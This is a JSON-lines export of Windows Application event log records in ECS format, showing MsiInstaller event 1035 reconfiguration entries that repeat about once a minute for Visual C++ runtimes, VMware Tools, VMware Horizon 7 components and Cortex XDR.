{"@timestamp":1657391950969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169813}}
{"@timestamp":1657392011747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169814}}
{"@timestamp":1657392011773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169815}}
{"@timestamp":1657392011822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169816}}
{"@timestamp":1657392011861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169817}}
{"@timestamp":1657392011889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169818}}
{"@timestamp":1657392011919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169819}}
{"@timestamp":1657392011945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169820}}
{"@timestamp":1657392011971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169821}}
{"@timestamp":1657392012009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169822}}
{"@timestamp":1657392012039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169823}}
{"@timestamp":1657392071064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169824}}
{"@timestamp":1657392071092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169825}}
{"@timestamp":1657392071144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169826}}
{"@timestamp":1657392071184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169827}}
{"@timestamp":1657392071213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169828}}
{"@timestamp":1657392071246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169829}}
{"@timestamp":1657392071273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169830}}
{"@timestamp":1657392071300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169831}}
{"@timestamp":1657392071338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169832}}
{"@timestamp":1657392071366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169833}}
{"@timestamp":1657392130913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169834}}
{"@timestamp":1657392130939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169835}}
{"@timestamp":1657392130996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169836}}
{"@timestamp":1657392131045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169837}}
{"@timestamp":1657392131077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169838}}
{"@timestamp":1657392131108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169839}}
{"@timestamp":1657392131134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169840}}
{"@timestamp":1657392131160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169841}}
{"@timestamp":1657392131196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169842}}
{"@timestamp":1657392131224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169843}}
{"@timestamp":1657392190778,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169844}}
{"@timestamp":1657392190805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169845}}
{"@timestamp":1657392190855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169846}}
{"@timestamp":1657392190893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169847}}
{"@timestamp":1657392190921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169848}}
{"@timestamp":1657392190952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169849}}
{"@timestamp":1657392190980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169850}}
{"@timestamp":1657392191007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169851}}
{"@timestamp":1657392191045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169852}}
{"@timestamp":1657392191077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169853}}
{"@timestamp":1657392250630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169854}}
{"@timestamp":1657392250657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169855}}
{"@timestamp":1657392250707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169856}}
{"@timestamp":1657392250748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169857}}
{"@timestamp":1657392250775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169858}}
{"@timestamp":1657392250811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169859}}
{"@timestamp":1657392250838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169860}}
{"@timestamp":1657392250867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169861}}
{"@timestamp":1657392250903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169862}}
{"@timestamp":1657392250931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169863}}
{"@timestamp":1657392310740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169864}}
{"@timestamp":1657392310766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169865}}
{"@timestamp":1657392310815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169866}}
{"@timestamp":1657392310854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169867}}
{"@timestamp":1657392310881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169868}}
{"@timestamp":1657392310911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169869}}
{"@timestamp":1657392310937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169870}}
{"@timestamp":1657392310963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169871}}
{"@timestamp":1657392310999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169872}}
{"@timestamp":1657392311027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169873}}
{"@timestamp":1657392370707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169874}}
{"@timestamp":1657392370735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169875}}
{"@timestamp":1657392370787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169876}}
{"@timestamp":1657392370827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169877}}
{"@timestamp":1657392370855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169878}}
